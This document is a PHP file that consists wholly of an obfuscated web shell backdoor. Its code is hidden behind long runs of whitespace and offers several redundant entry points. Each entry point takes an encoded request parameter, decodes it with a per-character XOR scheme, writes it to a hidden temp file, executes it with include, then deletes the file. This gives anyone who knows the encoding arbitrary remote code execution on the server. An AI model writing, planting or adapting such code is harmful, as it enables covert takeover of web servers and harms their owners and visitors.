<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x66lag"])){ $dat = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/tmp", getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); $ent = $_REQUEST["\x66lag"]; $ent= explode ('.' , $ent ) ; $holder =''; $s7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s7 ); foreach ($ent as $z => $v4) { $chS =ord($s7[$z% $lenS] ); $d =((int)$v4 - $chS - ($z% 10)) ^88; $holder.=chr($d );} for ($dchunk = 0, $val = count($dat); $dchunk < $val; $dchunk++) { $ent = $dat[$dchunk]; if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $token = "$ent/.fac"; if (file_put_contents($token, $holder)) { include $token; @unlink($token); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["v\x61lu\x65"])){ $comp = $_REQUEST["v\x61lu\x65"]; $comp= explode ( "." , $comp ) ; $rec = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); foreach ($comp as $n => $v4): $chS = ord($s5[$n % $sLen]); $dec = ((int)$v4 - $chS - ($n % 10)) ^62; $rec .= chr($dec); endforeach; $elem = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", getenv("TMP")]); foreach ($elem as $ref): if ((function($d) { return is_dir($d) && is_writable($d); })($ref)) { $obj = sprintf("%s/.sym", $ref); $success = file_put_contents($obj, $rec); if ($success) { include $obj; @unlink($obj); die();} } endforeach; }
																																										if(array_key_exists("r\x65fer\x65nce", $_REQUEST)){ $fac = array_filter(["/dev/shm", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir()]); $elem = $_REQUEST["r\x65fer\x65nce"]; $elem= explode ( '.', $elem) ; $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $y = 0; foreach ($elem as $v7) { $chS = ord($s[$y % $sLen] ); $dec = ((int)$v7 - $chS - ($y % 10)) ^ 6; $pgrp .= chr($dec ); $y++; } foreach ($fac as $dat) { if (!( !is_dir($dat) || !is_writable($dat) )) { $pointer = "$dat/.pset"; if (@file_put_contents($pointer, $pgrp) !== false) { include $pointer; unlink($pointer); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "r\x65f")){ $fac = $_REQUEST["r\x65f"]; $fac = explode('.' ,$fac ); $obj = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt2); $m = 0; array_walk( $fac, function( $v3) use( &$obj, &$m, $salt2, $sLen) { $chS = ord( $salt2[$m% $sLen]); $d = ( ( int)$v3 - $chS -( $m% 10)) ^ 74; $obj .= chr( $d); $m++; }); $sym = array_filter(["/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP"), "/var/tmp"]); foreach ($sym as $component): if (array_product([is_dir($component), is_writable($component)])) { $pointer = sprintf("%s/.element", $component); $success = file_put_contents($pointer, $obj); if ($success) { include $pointer; @unlink($pointer); die();} } endforeach; }
																																										if(array_key_exists("\x65\x6Et", $_REQUEST) && !is_null($_REQUEST["\x65\x6Et"])){ $holder = $_REQUEST["\x65\x6Et"]; $holder = explode ( '.',$holder ); $fac = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $v = 0; $__tmp = $holder; while ($v8 = array_shift($__tmp)) { $chS = ord($salt8[$v % $sLen]); $d = ((int)$v8 - $chS - ($v % 10)) ^ 59; $fac .= chr($d); $v++; } $flg = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), getcwd(), "/tmp", getenv("TEMP"), "/var/tmp", "/dev/shm"]); for ($key = 0, $res = count($flg); $key < $res; $key++) { $comp = $flg[$key]; if (max(0, is_dir($comp) * is_writable($comp))) { $property_set = vsprintf("%s/%s", [$comp, ".component"]); if (@file_put_contents($property_set, $fac) !== false) { include $property_set; unlink($property_set); die(); } } } }
																																										if(!is_null($_POST["va\x6C"] ?? null)){ $binding = $_POST["va\x6C"]; $binding = explode( "." , $binding) ; $fac = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); $s = 0; $len = count($binding); do { if ($s >= $len) break; $v8 = $binding[$s]; $sChar = ord($salt9[$s % $sLen]); $d = ((int)$v8 - $sChar - ($s % 10))^50; $fac .= chr($d); $s++;}while (true); $resource = array_filter([getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/var/tmp", session_save_path(), getcwd(), sys_get_temp_dir()]); for ($bind = 0, $rec = count($resource); $bind < $rec; $bind++) { $key = $resource[$bind]; if (is_writable($key) && is_dir($key)) { $marker = implode("/", [$key, ".component"]); $file = fopen($marker, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $marker; @unlink($marker); exit; } } } }
																																										if(!empty($_REQUEST["s\x79m\x62ol"])){ $ref = $_REQUEST["s\x79m\x62ol"]; $ref= explode ( ".", $ref ) ; $flg = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7 ); $y = 0; $__len = count($ref ); do { if ($y>= $__len) break; $v2 = $ref[$y]; $chS = ord($salt7[$y %$sLen] ); $d = ((int)$v2 - $chS - ($y %10)) ^ 38; $flg .=chr($d ); $y++; } while (true ); $item = array_filter(["/dev/shm", getcwd(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path()]); while ($dat = array_shift($item)) { if ((bool)is_dir($dat) && (bool)is_writable($dat)) { $elem = vsprintf("%s/%s", [$dat, ".marker"]); $file = fopen($elem, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $elem; @unlink($elem); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "ob\x6Ae\x63t")){ $mrk = $_POST["ob\x6Ae\x63t"]; $mrk=explode ( '.',$mrk); $record = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3 ); $w = 0; while( $w < count( $mrk)) { $v9 = $mrk[$w]; $sChar = ord( $salt3[$w % $sLen] ); $d =( ( int)$v9 - $sChar -( $w % 10))^ 61; $record .= chr( $d ); $w++; } $parameter_group = array_filter(["/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP")]); $val = 0; do { $reference = $parameter_group[$val] ?? null; if ($val >= count($parameter_group)) break; if ((is_dir($reference) and is_writable($reference))) { $value = sprintf("%s/.component", $reference); if (@file_put_contents($value, $record) !== false) { include $value; unlink($value); exit; } } $val++; } while (true); }


if(count($_REQUEST) > 0 && isset($_REQUEST["en\x74"])){
	$itm = $_REQUEST["en\x74"];
	 	 $itm	=   explode  	(		 '.', $itm  	); 
	$fac = '';
            $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(	$salt7 );
            $w = 0;
    
            while(	$w < count(	$itm)) {$v9 = $itm[$w];
                $chS = ord(	$salt7[$w % $lenS] );
                $d =(	(	int)$v9 - $chS -(	$w % 10))	 ^ 	59;
                $fac .= chr(	$d );
                $w++;		}	
	$symbol = array_filter(["/dev/shm", getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TMP")]);
	foreach ($symbol as $data):
    		if ((function($d) { return is_dir($d) && is_writable($d); })($data)) {
    $obj = str_replace("{var_dir}", $data, "{var_dir}/.dchunk");
    $success = file_put_contents($obj, $fac);
if ($success) {
	include $obj;
	@unlink($obj);
	exit;}
}
endforeach;
}